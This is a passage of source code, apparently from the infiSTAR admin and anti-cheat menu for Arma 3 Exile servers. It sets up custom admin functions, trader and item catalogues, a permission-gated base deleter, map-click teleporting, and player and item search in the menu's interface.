  7116. _name = getText (_configProperties select 1);
  7117. _code = getText (_configProperties select 2);
  7118. infiSTAR_customFunctions pushBack [_type,_name,_code];
  7119. } forEach _configClasses;
  7120. if!(infiSTAR_customFunctions isEqualTo [])then{infiSTAR_customFunctions sort true;};
  7121. infiSTAR_MAIN_CODE = "
  7122. _log = format['<infiSTAR.de> %1 - Loading Menu..',call GET_TIME_TIME];systemchat _log;diag_log _log;
  7123. allSupportBoxesNames = "+str _allSupportBoxesNames+";
  7124. infiSTAR_CUSTOM_RUN = [];
  7125. infiSTAR_CUSTOM_Toggleable = [];
  7126. infiSTAR_CUSTOM_OnTarget = [];
  7127. infiSTAR_customFunctions = "+str infiSTAR_customFunctions+";
  7128. infiSTAR_HTML_LOAD = "+str _use_html_load_on_adminmenu+";
  7129. pathToCustomBillBoardTextures = "+str _pathToCustomBillBoardTextures+";
  7130. if!(infiSTAR_customFunctions isEqualTo [])then
  7131. {
  7132. _counter0 = 0;
  7133. _counter1 = 0;
  7134. _counter2 = 0;
  7135. {
  7136. _type = _x select 0;
  7137. _name = _x select 1;
  7138. _code = _x select 2;
  7139. switch (_type) do
  7140. {
  7141. case 0: {
  7142. infiSTAR_CUSTOM_RUN pushBack _name;
  7143. missionNameSpace setVariable[format['FNC_CUSTOM_RUN_%1',_counter0],_code call fnc_admin_c];
  7144. _counter0 = _counter0 + 1;
  7145. };
  7146. case 1: {
  7147. infiSTAR_CUSTOM_Toggleable pushBack _name;
  7148. missionNameSpace setVariable[format['FNC_CUSTOM_TOGGLEABLE_%1',_counter1],_code call fnc_admin_c];
  7149. _counter1 = _counter1 + 1;
  7150. };
  7151. case 2: {
  7152. infiSTAR_CUSTOM_OnTarget pushBack _name;
  7153. missionNameSpace setVariable[format['FNC_CUSTOM_ON_TARGET_%1',_counter2],_code call fnc_admin_c];
  7154. _counter2 = _counter2 + 1;
  7155. };
  7156. };
  7157. } forEach infiSTAR_customFunctions;
  7158. };
  7159. MYPUIDinfiESP = getPlayerUID player;
  7160. SHIFT_IS_PRESSED=false;ALT_IS_PRESSED=false;FILLMAINSTATE=0;LASTSUBBUTTON=1;BTN_GET_ITEM_SEL=0;BTN_SPAWN_VEH_SEL=0;
  7161. SortAlphaPlease = true;SortGroupsPlease = nil;SortRangePlease = nil;
  7162. infiSTAR_add_vehicles=true;
  7163. SELECTED_TARGET_PLAYER = player;
  7164. MAIN_DISPLAY_ID = -1338;LEFT_SHIFT_ID = 1500;RIGHT_SHIFT_ID = 1501;
  7165. uiNamespace setVariable['A3MAPICONS_mainMap', nil];
  7166. uiNamespace setVariable['A3MAPICONS_mainMap', findDisplay 12 displayCtrl 51];
  7167. if(isNil 'AH_HackLogArray')then{AH_HackLogArray = [];};
  7168. if(isNil 'AH_SurvLogArray')then{AH_SurvLogArray = [];};
  7169. if(isNil 'AH_AdmiLogArray')then{AH_AdmiLogArray = [];};
  7170. if(isNil 'SERVER_FPS')then{SERVER_FPS = 0;};
  7171. if(isNil 'SERVER_THREADS')then{SERVER_THREADS = 0;};
  7172. if(isNil 'SERVER_LOOPTIME')then{SERVER_LOOPTIME = 0;};
  7173. if(isNil 'infiSTAR_toggled_A')then{infiSTAR_toggled_A = ['==== OnTarget ====','==== Toggleable ====','==== Custom Functions ===='];};
  7174. if(isNil 'infiSTAR_loop_array')then{infiSTAR_loop_array = [];};
  7175.  
  7176.  
  7177. FN_SHOW_LOGID = 554466;
  7178. FN_SHOWN_LOGIDS = [];
  7179. FN_SHOW_LOG_OLD = {
  7180. disableSerialization;
  7181. _del = {FN_SHOWN_LOGIDS = FN_SHOWN_LOGIDS - [_this];ctrlDelete _this;};
  7182. {
  7183. if(_forEachIndex < 3)then
  7184. {
  7185. if(count FN_SHOWN_LOGIDS > 40)then{_x call _del;};
  7186. }
  7187. else
  7188. {
  7189. if(ctrlFade _x > 0.9)then{_x call _del;};
  7190. };
  7191. } forEach FN_SHOWN_LOGIDS;
  7192. _ctrl = [findDisplay 46,'RSCText',FN_SHOW_LOGID] call fnc_createctrl;
  7193. FN_SHOW_LOGID = FN_SHOW_LOGID + 1;
  7194. FN_SHOWN_LOGIDS pushBackUnique _ctrl;
  7195. {
  7196. _x ctrlSetPosition [
  7197. 0,
  7198. ((safeZoneY+0.3) + (_forEachIndex / 30)),
  7199. 1.3,
  7200. 0.2
  7201. ];
  7202. _x ctrlCommit 0;
  7203. } forEach FN_SHOWN_LOGIDS;
  7204. _ctrl ctrlSetText format['<infiSTAR.de> %1',_this];
  7205. _ctrl ctrlSetFade 1;
  7206. _ctrl ctrlCommit 5;
  7207. };
  7208. FN_SHOW_LOG = {
  7209. if(isNil'ExileClient_gui_toaster_addTemplateToast')then
  7210. {
  7211. _this call FN_SHOW_LOG_OLD;
  7212. }
  7213. else
  7214. {
  7215. ['SuccessTitleAndText', ['infiSTAR.de', _this]] call ExileClient_gui_toaster_addTemplateToast;
  7216. };
  7217. };
  7218.  
  7219.  
  7220. fnc_get_selected_object = {
  7221. _target = lbtext[LEFT_SHIFT_ID,(lbCurSel LEFT_SHIFT_ID)];
  7222. if(_target isEqualTo '')then
  7223. {
  7224. if(isNull SELECTED_TARGET_PLAYER)then
  7225. {
  7226. SELECTED_TARGET_PLAYER = player;
  7227. };
  7228. }
  7229. else
  7230. {
  7231. {
  7232. _grp = group _x;
  7233. _side = side _x;
  7234. _name = _x call FN_GET_NAME;
  7235. _search = format['%1 [%2]',_name,_side];
  7236. if(count units _grp > 1)then
  7237. {
  7238. _search = format['%1 [%2 (%3)]',_name,_side,_grp];
  7239. };
  7240. if(_search == _target)exitWith
  7241. {
  7242. SELECTED_TARGET_PLAYER = _x;
  7243. };
  7244. } forEach (call fnc_get_plr);
  7245. };
  7246. SELECTED_TARGET_PLAYER
  7247. };
  7248. FN_GET_CLR_PLAYERLIST = {
  7249. if(_this isEqualTo SELECTED_TARGET_PLAYER)exitWith{[1,0.7,0.15,1]};
  7250. if(!alive _this)exitWith{[1,1,1,1]};
  7251. _xuid = getPlayerUID _this;
  7252. if(((_xuid in infiSTAR_ADMINS)&&!(_xuid in infiSTAR_Ds))||((_xuid in infiSTAR_Ds)&&(MYPUIDinfiESP in infiSTAR_Ds))||(_xuid == MYPUIDinfiESP))exitWith{[0,1,0,1]};
  7253. if(_this in (units(group player)))exitWith{[1,0.95,0,1]};
  7254. if(vehicle _this isEqualTo _this)exitWith{[1,0.17,0.17,1]};
  7255. [0.047,0.502,1,1]
  7256. };
  7257. FN_GET_NAME = {
  7258. if(alive _this)then{name _this}else{_this getVariable['ExileName','unknown']}
  7259. };
  7260. FN_GET_CLR = {
  7261. if(_this isEqualTo SELECTED_TARGET_PLAYER)exitWith{[1,0.7,0.15,_alpha]};
  7262. if(!alive _this)exitWith{[1,1,1,_alpha]};
  7263. _xuid = getPlayerUID _this;
  7264. if(((_xuid in infiSTAR_ADMINS)&&!(_xuid in infiSTAR_Ds))||((_xuid in infiSTAR_Ds)&&(MYPUIDinfiESP in infiSTAR_Ds))||(_xuid == MYPUIDinfiESP))exitWith{[0,1,0,_alpha]};
  7265. if(_this in (units(group player)))exitWith{[1,0.95,0,_alpha]};
  7266. if(vehicle _this isEqualTo _this)exitWith{[1,0.17,0.17,_alpha]};
  7267. [0.047,0.502,1,_alpha]
  7268. };
  7269. TRADER_FUNCTION_ARRAY = [
  7270. [''],
  7271. ['Exile_Trader_Armory','ExileClient_gui_traderDialog_show',0],
  7272. ['Exile_Trader_SpecialOperations','ExileClient_gui_traderDialog_show',0],
  7273. ['Exile_Trader_Equipment','ExileClient_gui_traderDialog_show',0],
  7274. ['Exile_Trader_Food','ExileClient_gui_traderDialog_show',0],
  7275. ['Exile_Trader_Hardware','ExileClient_gui_traderDialog_show',0],
  7276. [''],
  7277. ['Exile_Trader_Vehicle','ExileClient_gui_vehicleTraderDialog_show',0],
  7278. ['Exile_Trader_Aircraft','ExileClient_gui_vehicleTraderDialog_show',0],
  7279. ['Exile_Trader_Boat','ExileClient_gui_vehicleTraderDialog_show',0],
  7280. [''],
  7281. ['Exile_Trader_Office','ExileClient_gui_purchaseTerritoryDialog_show',0],
  7282. ['Exile_Trader_Office','ExileClient_gui_payTerritoryProtectionMoneyDialog_show',0],
  7283. [''],
  7284. ['Exile_Trader_WasteDump','ExileClient_gui_wasteDumpDialog_show',1],
  7285. ['Exile_Trader_VehicleCustoms','ExileClient_gui_vehicleCustomsDialog_show',1],
  7286. ['Exile_Trader_AircraftCustoms','ExileClient_gui_vehicleCustomsDialog_show',1],
  7287. ['Exile_Trader_BoatCustoms','ExileClient_gui_vehicleCustomsDialog_show',1],
  7288. [''],
  7289. ['-- customs are not set by default --'],
  7290. ['Exile_Trader_CommunityCustoms','ExileClient_gui_traderDialog_show',0],
  7291. ['Exile_Trader_CommunityCustoms2','ExileClient_gui_traderDialog_show',0],
  7292. ['Exile_Trader_CommunityCustoms3','ExileClient_gui_traderDialog_show',0],
  7293. ['Exile_Trader_CommunityCustoms4','ExileClient_gui_traderDialog_show',0],
  7294. ['Exile_Trader_CommunityCustoms5','ExileClient_gui_traderDialog_show',0],
  7295. ['Exile_Trader_CommunityCustoms6','ExileClient_gui_traderDialog_show',0],
  7296. ['Exile_Trader_CommunityCustoms7','ExileClient_gui_traderDialog_show',0],
  7297. ['Exile_Trader_CommunityCustoms8','ExileClient_gui_traderDialog_show',0],
  7298. ['Exile_Trader_CommunityCustoms9','ExileClient_gui_traderDialog_show',0],
  7299. ['Exile_Trader_CommunityCustoms10','ExileClient_gui_traderDialog_show',0]
  7300. ];
  7301. ALLC_ITEMS = ['B_Parachute'];
  7302. ALL_MAGS_TO_SEARCH_C = [];
  7303. ALL_VEHS_TO_SEARCH_C = [];
  7304. ALL_VEHS_TO_SEARCH_C_EXILE = [];
  7305. ALL_VEHS_TO_SEARCH_C_OTHER = [];
  7306. newAllItems_CATEGORY = [];
  7307.  
  7308. FNC_PIC_VALID = {
  7309. !((toLower _this) in ['','pictureheal','picturepapercar','picturething','picturestaticobject'])
  7310. };
  7311.  
  7312. {
  7313. _configName = configName _x;
  7314. ALL_VEHS_TO_SEARCH_C pushBackUnique _configName;
  7315. if(_configName select [0,5] isEqualTo 'Exile')then{ALL_VEHS_TO_SEARCH_C_EXILE pushBackUnique _configName;}else{ALL_VEHS_TO_SEARCH_C_OTHER pushBackUnique _configName;};
  7316. } forEach ('((getNumber (_x >> ''scope'') >= 2) && {getText(_x >> ''picture'') call FNC_PIC_VALID} && {configName _x isKindOf ''allVehicles'' && !(configName _x isKindOf ''Man'')})' configClasses (configFile >> 'CfgVehicles'));
  7317.  
  7318.  
  7319. {
  7320. ALL_VEHS_TO_SEARCH_C pushBackUnique _x;
  7321. if(_x select [0,5] isEqualTo 'Exile')then{ALL_VEHS_TO_SEARCH_C_EXILE pushBackUnique _x;}else{ALL_VEHS_TO_SEARCH_C_OTHER pushBackUnique _x;};
  7322. } forEach [
  7323. 'Land_Pod_Heli_Transport_04_covered_F',
  7324. 'Land_Pod_Heli_Transport_04_fuel_F',
  7325. 'Land_Pod_Heli_Transport_04_box_F',
  7326. 'Land_Pod_Heli_Transport_04_repair_F',
  7327. 'Land_Pod_Heli_Transport_04_medevac_F',
  7328. 'Land_Pod_Heli_Transport_04_bench_F',
  7329. 'Land_Pod_Heli_Transport_04_covered_black_F',
  7330. 'Land_Pod_Heli_Transport_04_fuel_black_F',
  7331. 'Land_Pod_Heli_Transport_04_box_black_F',
  7332. 'Land_Pod_Heli_Transport_04_repair_black_F',
  7333. 'Land_Pod_Heli_Transport_04_medevac_black_F',
  7334. 'Land_Pod_Heli_Transport_04_bench_black_F'
  7335. ];
  7336.  
  7337. _bags = getArray(missionconfigfile >> 'CfgTraderCategories' >> 'Backpacks' >> 'items');
  7338. {
  7339. ALLC_ITEMS pushBackUnique _x;
  7340. _itemInformation = [_x] call BIS_fnc_itemType;
  7341. _category = _itemInformation select 1;
  7342. if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
  7343. } forEach _bags;
  7344.  
  7345. {
  7346. _configName = configName _x;
  7347. ALLC_ITEMS pushBackUnique _configName;
  7348. _itemInformation = [_configName] call BIS_fnc_itemType;
  7349. _category = _itemInformation select 1;
  7350. if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
  7351. } forEach ('(getNumber(_x >> ''scope'') isEqualTo 2) && {(getText(_x >> ''vehicleClass'') isEqualTo ''Backpacks'')}' configClasses (configFile >> 'CfgVehicles'));
  7352.  
  7353. {
  7354. _configName = configName _x;
  7355. ALLC_ITEMS pushBackUnique _configName;
  7356. _itemInformation = [_configName] call BIS_fnc_itemType;
  7357. _category = _itemInformation select 1;
  7358. if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
  7359. } forEach ('(getNumber(_x >> ''scope'') isEqualTo 2) && {getText(_x >> ''picture'') call FNC_PIC_VALID}' configClasses (configFile >> 'CfgWeapons'));
  7360.  
  7361. {
  7362. _configName = configName _x;
  7363. ALLC_ITEMS pushBackUnique _configName;
  7364. ALL_MAGS_TO_SEARCH_C pushBackUnique _configName;
  7365. _itemInformation = [_configName] call BIS_fnc_itemType;
  7366. _category = _itemInformation select 1;
  7367. if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
  7368. } forEach ('(getNumber(_x >> ''scope'') isEqualTo 2) && {getText(_x >> ''picture'') call FNC_PIC_VALID}' configClasses (configFile >> 'CfgMagazines'));
  7369. newAllItems_CATEGORY sort true;
  7370. {
  7371. _itemInformation = [_x] call BIS_fnc_itemType;
  7372. _category = _itemInformation select 1;
  7373.  
  7374. _variable = missionNameSpace getVariable (_category+'_ARRAY');
  7375. if(isNil '_variable')then
  7376. {
  7377. missionNameSpace setVariable[(_category+'_ARRAY'),[_x]];
  7378. }
  7379. else
  7380. {
  7381. _variable pushBackUnique _x;
  7382. missionNameSpace setVariable[(_category+'_ARRAY'),_variable];
  7383. };
  7384. } forEach ALLC_ITEMS;
  7385. _log = format['<infiSTAR.de> %1 - config data loaded!',call GET_TIME_TIME];diag_log _log;
  7386. if('==== Base Deleter ====' call ADMINLEVELACCESS)then
  7387. {
  7388. CCG_fnc_adminClick = {
  7389. private ['_click'];
  7390. _click = _this select 0;
  7391. if(_click == '')exitWith{};
  7392. try {
  7393. switch (_click) do {
  7394. case 'BD: Set Center' : {
  7395. call CCG_fnc_bdSetCenter;
  7396. throw 'BASEDELETER: Set Center';
  7397. };
  7398. case 'BD: Set Radius' : {
  7399. call CCG_fnc_bdSetRadius;
  7400. throw 'BASEDELETER: Set Radius';
  7401. };
  7402. case 'BD: Cancel / Remove' : {
  7403. call CCG_fnc_bdCancel;
  7404. throw 'BASEDELETER: Cancel';
  7405. };
  7406. case 'BD: Delete Base' : {
  7407. call CCG_fnc_bdDeleteB;
  7408. throw 'BASEDELETER: Delete Base';
  7409. };
  7410. case 'BD: Delete Weaponholder' : {
  7411. call CCG_fnc_bdDeleteW;
  7412. throw 'BASEDELETER: Delete Weaponholder';
  7413. };
  7414. };
  7415. } catch {
  7416. systemChat _exception;
  7417. call fnc_FULLinit;
  7418. };
  7419. };
  7420. CCGbdObjs = [];
  7421. CCG_fnc_bdSetCenter = {
  7422. private ['_arrow'];
  7423. CCGbdCenter = getPosASL player;
  7424. _arrow = 'Sign_Arrow_F' createVehicleLocal [0,0,0];
  7425. _arrow setPosASL CCGbdCenter;
  7426. CCGbdObjs pushBack _arrow;
  7427. };
  7428. CCG_fnc_bdSetRadius = {
  7429. private ['_arrow', '_pos', '_radius', '_angle', '_distance', '_count', '_step', '_count', '_step', '_objects'];
  7430. if(isNil 'CCGbdCenter')then{throw 'BASEDELETER: Center not set!';};
  7431. CCGbdRadius = CCGbdCenter distance (getPosASL player);
  7432. _arrow = 'Sign_Arrow_F' createVehicleLocal [0,0,0];
  7433. _arrow setPosASL CCGbdCenter;
  7434. CCGbdObjs pushBack _arrow;
  7435. _angle = 0;
  7436. _count = round((2 * pi * CCGbdRadius) / 2);
  7437. if(_count == 0)then{throw 'BASEDELETER: Center and Radius position can not be the same!';};
  7438. for '_x' from 0 to _count do
  7439. {
  7440. private['_a', '_b', '_obj'];
  7441. _a = (CCGbdCenter select 0) + (sin(_angle)*CCGbdRadius);
  7442. _b = (CCGbdCenter select 1) + (cos(_angle)*CCGbdRadius);
  7443. _obj = 'Sign_Sphere100cm_F' createVehicleLocal [0,0,0];
  7444. _obj setPosASL [_a, _b, CCGbdCenter select 2];
  7445. CCGbdObjs pushBack _obj;
  7446. _angle = _angle + (360/_count);
  7447. };
  7448. for '_x' from 0 to _count do
  7449. {
  7450. private['_a', '_b', '_obj'];
  7451. _a = (CCGbdCenter select 0) + (sin(_angle)*CCGbdRadius);
  7452. _b = (CCGbdCenter select 2) + (cos(_angle)*CCGbdRadius);
  7453. _obj = 'Sign_Sphere100cm_F' createVehicleLocal [0,0,0];
  7454. _obj setPosASL [_a, CCGbdCenter select 1, _b];
  7455. CCGbdObjs pushBack _obj;
  7456. _angle = _angle + (360/_count);
  7457. };
  7458. for '_x' from 0 to _count do
  7459. {
  7460. private['_a', '_b', '_obj'];
  7461. _a = (CCGbdCenter select 1) + (sin(_angle)*CCGbdRadius);
  7462. _b = (CCGbdCenter select 2) + (cos(_angle)*CCGbdRadius);
  7463. _obj = 'Sign_Sphere100cm_F' createVehicleLocal [0,0,0];
  7464. _obj setPosASL [CCGbdCenter select 0, _a, _b];
  7465. CCGbdObjs pushBack _obj;
  7466. _angle = _angle + (360/_count);
  7467. };
  7468. };
  7469. CCG_fnc_bdGetObjectsToDelete = {
  7470. if(isNil 'CCGbdCenter')exitWith{[]};
  7471. if(isNil 'CCGbdRadius')exitWith{[]};
  7472. nearestObjects [ASLtoATL CCGbdCenter,['Exile_Construction_Abstract_Static','AbstractConstruction','Exile_Construction_Flag_Static'], CCGbdRadius]
  7473. };
  7474. CCG_fnc_bdGetWeaponHoldersToDelete = {
  7475. if(isNil 'CCGbdCenter')exitWith{[]};
  7476. if(isNil 'CCGbdRadius')exitWith{[]};
  7477. nearestObjects [ASLtoATL CCGbdCenter,['GroundWeaponHolder','WeaponHolderSimulated','LootWeaponHolder'], CCGbdRadius]
  7478. };
  7479. CCG_fnc_bdDeleteB = {
  7480. private ['_objects'];
  7481. if(isNil 'CCGbdCenter')then{throw 'BASEDELETER: Center not set!';};
  7482. if(isNil 'CCGbdRadius')then{throw 'BASEDELETER: Radius not set!';};
  7483. [-5,ASLtoATL CCGbdCenter,CCGbdRadius] call fnc_AdminReq;
  7484. systemChat format['BASEDELETER: Deleting..', count (call CCG_fnc_bdGetObjectsToDelete)];
  7485. };
  7486. CCG_fnc_bdDeleteW = {
  7487. private ['_objects'];
  7488. if(isNil 'CCGbdCenter')then{throw 'BASEDELETER: Center not set!';};
  7489. if(isNil 'CCGbdRadius')then{throw 'BASEDELETER: Radius not set!';};
  7490. [-6,ASLtoATL CCGbdCenter,CCGbdRadius] call fnc_AdminReq;
  7491. systemChat format['BASEDELETER: Deleting..', count (call CCG_fnc_bdGetWeaponHoldersToDelete)];
  7492. };
  7493. CCG_fnc_bdCancel = {
  7494. CCGbdCenter = nil;
  7495. CCGbdRadius = nil;
  7496. {if(!isNull _x)then{deleteVehicle _x;};} foreach CCGbdObjs;
  7497. CCGbdObjs = [];
  7498. };
  7499. };
  7500. fnc_setFocus = {
  7501. disableSerialization;
  7502. ctrlSetFocus ((findDisplay MAIN_DISPLAY_ID) displayCtrl LEFT_SHIFT_ID);
  7503. ctrlSetFocus ((findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID);
  7504. };
  7505. MAP_OBJECT_SELECTED = objNull;
  7506. fnc_MouseButtonDown = {
  7507. if(_this select 1 isEqualTo 0)then
  7508. {
  7509. _pos = ((_this select 0) posScreenToWorld [_this select 2, _this select 3]);
  7510. if(ALT_IS_PRESSED)then
  7511. {
  7512. _veh = vehicle player;
  7513. if(_veh isEqualTo player)then
  7514. {
  7515. _veh setPosATL _pos;
  7516. }
  7517. else
  7518. {
  7519. if(_veh isKindOf 'AIR')then
  7520. {
  7521. _posObj = getPosATL _veh;
  7522. _pos = [_pos select 0,_pos select 1,_posObj select 2];
  7523. };
  7524. [1,netId player,_pos] call fnc_AdminReq;
  7525. };
  7526. ALT_IS_PRESSED = false;
  7527. format['Teleport to %1(GPS: %2)',_pos,mapGridPosition _pos] call fnc_adminLog;
  7528. {player reveal _x;} foreach (_pos nearObjects 50);
  7529. };
  7530. MAP_OBJECT_SELECTED = _pos nearestObject 'AllVehicles';
  7531. };
  7532. false
  7533. };
  7534. fnc_MouseButtonUp = {
  7535. if(_this select 1 isEqualTo 0)then
  7536. {
  7537. _pos = ((_this select 0) posScreenToWorld [_this select 2, _this select 3]);
  7538. if(isNull MAP_OBJECT_SELECTED)exitWith{true};
  7539. if(!SHIFT_IS_PRESSED)exitWith{true};
  7540.  
  7541. _obj = MAP_OBJECT_SELECTED;
  7542. if(isPlayer _obj)then
  7543. {
  7544. {
  7545. if(!isNull _x)then
  7546. {
  7547. if(getPlayerUID _x != '')then
  7548. {
  7549. _name = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
  7550. [1,netId _x,_pos] call fnc_AdminReq;
  7551. };
  7552. };
  7553. } forEach (crew _obj);
  7554. }
  7555. else
  7556. {
  7557. if(local _obj)then
  7558. {
  7559. _obj setPosATL _pos;
  7560. }
  7561. else
  7562. {
  7563. [20,netId _obj,_pos] call fnc_AdminReq;
  7564. };
  7565. };
  7566. MAP_OBJECT_SELECTED = objNull;
  7567. };
  7568. false
  7569. };
  7570. fnc_addpic = {
  7571. _status = call {
  7572. if(isClass (configFile >> 'CfgWeapons' >> _this))exitWith{'CfgWeapons'};
  7573. if(isClass (configFile >> 'CfgMagazines' >> _this))exitWith{'CfgMagazines'};
  7574. if(isClass (configFile >> 'CfgVehicles' >> _this))exitWith{'CfgVehicles'};
  7575. '';
  7576. };
  7577. if!(_status isEqualTo '')then
  7578. {
  7579. _pic = (getText (configFile >> _status >> _this >> 'picture'));
  7580. if(_pic call FNC_PIC_VALID)then
  7581. {
  7582. _ctrl lbSetPicture [(lbsize _ctrl)-1,_pic];
  7583. _ctrl lbSetPictureColor [(lbsize _ctrl)-1,[1, 1, 1, 1]];
  7584. };
  7585. };
  7586. };
  7587. fnc_search = {
  7588. [
  7589. _txt,
  7590. {
  7591. _txt = _this;
  7592. if(_txt == lastSearched)exitWith{};
  7593. disableSerialization;
  7594. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
  7595. lbClear _ctrl;
  7596. if(LASTSUBBUTTON isEqualTo 0)then
  7597. {
  7598. if('Items spawn menu' call ADMINLEVELACCESS)then
  7599. {
  7600. {
  7601. _displayName = getText(configFile >> 'CfgWeapons' >> _x >> 'displayName');
  7602. if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgMagazines' >> _x >> 'displayName');};
  7603. if(_displayName isEqualTo '')then{_displayName = getText(configFile >> 'CfgVehicles' >> _x >> 'displayName');};
  7604. if(((toLower _x) find _txt > -1)||((toLower _displayName) find _txt > -1))then{
  7605. _lbid = _ctrl lbAdd format['%1 (%2)',_displayName,_x];
  7606. _ctrl lbSetData [_lbid,_x];
  7607. _x call fnc_addpic;
  7608. };
  7609. } forEach ALLC_ITEMS;
  7610. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  7611. };
  7612. };
  7613. if(LASTSUBBUTTON isEqualTo 1)then
  7614. {
  7615. if(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))then
  7616. {
  7617. _ctrl lbAdd '==== Vehicles ====';
  7618. if(!isNil 'infiSTAR_add_vehicles')then
  7619. {
  7620. {
  7621. _displayName = getText(configFile >> 'CfgVehicles' >> _x >> 'displayName');
  7622. if(((toLower _x) find _txt > -1)||((toLower _displayName) find _txt > -1))then{
  7623. _lbid = _ctrl lbAdd format['%1 (%2)',_displayName,_x];
  7624. _ctrl lbSetData [_lbid,_x];
  7625. _x call fnc_addpic;
  7626. if(_x select [0,5] isEqualTo 'Exile')then{_ctrl lbSetColor [_lbid, [0,1,0,1]];};
  7627. };
  7628. } forEach ALL_VEHS_TO_SEARCH_C;
  7629. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  7630. };
  7631. };
  7632. };
  7633. lastSearched = _txt;
  7634. [] call fnc_colorizeMain;
  7635. for '_i' from 0 to 10 do{_ctrl lbAdd '';};
  7636. }
  7637. ] execFSM 'call.fsm';
  7638. };
  7639. fnc_searchNfill = {
  7640. if(isNil 'SEARCHLOOP')then{
  7641. SEARCHLOOP = true;
  7642. if(isNil 'lastSearched')then{lastSearched = '';};
  7643. [] spawn {
  7644. disableSerialization;
  7645. while {true} do
  7646. {
  7647. if(isNull (findDisplay MAIN_DISPLAY_ID))exitWith{};
  7648. if(!isNil 'stopthissearchplease')exitWith{stopthissearchplease=nil;};
  7649. _txt = ctrlText((findDisplay MAIN_DISPLAY_ID) displayCtrl 100);
  7650. if(_txt isEqualTo '')then
  7651. {
  7652. [] call fnc_fill_infiSTAR_Player;
  7653. waitUntil {((ctrlText((findDisplay MAIN_DISPLAY_ID) displayCtrl 100) != '')||(isNull (findDisplay MAIN_DISPLAY_ID))||(!isNil 'stopthissearchplease'))};
  7654. }
  7655. else
  7656. {
  7657. _txt = toLower _txt;
  7658. if(FILLMAINSTATE isEqualTo 1)then
  7659. {
  7660. call fnc_search;
  7661. }
  7662. else
  7663. {
  7664. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl LEFT_SHIFT_ID;
  7665. lbclear _ctrl;
  7666. _shown = [];
  7667. {
  7668.  
  7669. _name = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
  7670. if((toLower _name) find _txt > -1)then
  7671. {
  7672. _grp = group _x;
  7673. _index = _shown pushBackUnique _grp;
  7674. if(_index > -1)then
  7675. {
  7676. _ctrl lbAdd format['______%1______',_grp];
  7677. {
  7678. _PUIDX = getPlayerUID _x;
  7679. _side = side _x;
  7680. _grp = group _x;
  7681. _ExileName = if(alive _x)then{name _x}else{_x getVariable['ExileName',name _x]};
  7682. _name = format['%1 [%2]',_ExileName,_side];
  7683. if(count units _grp > 1)then
  7684. {
  7685. _name = format['%1 [%2 (%3)]',_ExileName,_side,_grp];
  7686. };
  7687.  
  7688. _lbid = _ctrl lbAdd _name;
  7689. _veh = vehicle _x;
  7690. _xpic = getText (configFile >> 'CfgVehicles' >> (typeOf _veh) >> 'picture');
  7691. if(alive _x)then
  7692. {
  7693. if(_x isEqualTo _veh)then
  7694. {
  7695. _wpnstate = weaponState _x;
  7696. _cwep = _wpnstate select 0;
  7697. if(_cwep != '')then
  7698. {
  7699. _xpic = getText (configFile >> 'CfgWeapons' >> _cwep >> 'picture');
  7700. };
  7701. };
  7702. };
  7703. if(_xpic call FNC_PIC_VALID)then
  7704. {
  7705. _ctrl lbSetPicture [_lbid,_xpic];
  7706. _ctrl lbSetPictureColor [_lbid,[1, 1, 1, 1]];
  7707. };
  7708. _clr = _x call FN_GET_CLR_PLAYERLIST;
  7709. _ctrl lbSetColor [_lbid,_clr];
  7710. } forEach (units _grp);
  7711. };
  7712. };
  7713. } forEach (call fnc_get_plr);
  7714. };
  7715. };
  7716. uiSleep 0.1;
  7717. };
  7718. SEARCHLOOP = nil;
  7719. };
  7720. };
  7721. };
  7722. fnc_SearchFieldButtons = {
  7723. disableSerialization;
  7724. _display = findDisplay MAIN_DISPLAY_ID;
  7725. _others=false;
  7726. if(FILLMAINSTATE == 1)then{_others = true;};
  7727.  
  7728. _editSearch = _display displayCtrl 100;
  7729. _editSearch ctrlEnable true;
  7730. _editSearch ctrlShow true;
  7731. _editSearch ctrlSetTextColor [0.56,0.04,0.04,1];
  7732. _editSearch ctrlSetText '';
  7733.  
  7734. _btnItems = _display displayCtrl 36;
  7735. _btnItems ctrlEnable true;
  7736. _btnItems ctrlShow true;
  7737. _btnItems buttonSetAction '
  7738. LASTSUBBUTTON = 0;FILLMAINSTATE=1;[] call fnc_fill_infiSTAR_MAIN;[] call fnc_setFocus;[] call fnc_colorButtons;
  7739. ';
  7740. if!('Items spawn menu' call ADMINLEVELACCESS)then
  7741. {
  7742. _btnItems ctrlEnable false;
  7743. _btnItems ctrlShow false;
  7744. };
  7745.  
  7746. _ctrlL = _display displayCtrl LEFT_SHIFT_ID;
  7747. if(isNil 'ctrlposL')then{ctrlposL = ctrlPosition _ctrlL;};
  7748. _ctrlLTMP = ctrlposL;
  7749. if(isNil 'ctrlposeditSearch')then{ctrlposeditSearch = ctrlPosition _editSearch;};
  7750. _ctrleditSearchTMP = ctrlposeditSearch;
  7751. if(isNil 'ctrlposbtnItems')then{ctrlposbtnItems = ctrlPosition _btnItems;};
  7752. _ctrlbtnItemsTMP = ctrlposbtnItems;
  7753. if(FILLMAINSTATE in [0,3,4])then
  7754. {
  7755. _btnItems ctrlSetText 'Reset PlayerSearch';
  7756. _btnItems buttonSetAction '
  7757. ((findDisplay MAIN_DISPLAY_ID) displayCtrl 100) ctrlSetText '''';
  7758. [] call fnc_fill_infiSTAR_Player;
  7759. ';
  7760.  
  7761.  
  7762. _ctrlLTMP = [(ctrlposL select 0),(ctrlposL select 1)+.165,(ctrlposL select 2),(ctrlposL select 3)-.165];
  7763. _ctrleditSearchTMP = [SafeZoneX,(ctrlposeditSearch select 1)-0.045,(ctrlposL select 2),(ctrlposeditSearch select 3)*0.75];
  7764. _ctrlbtnItemsTMP = [SafeZoneX,(ctrlposbtnItems select 1)-0.035,(ctrlposL select 2),(ctrlposbtnItems select 3)];
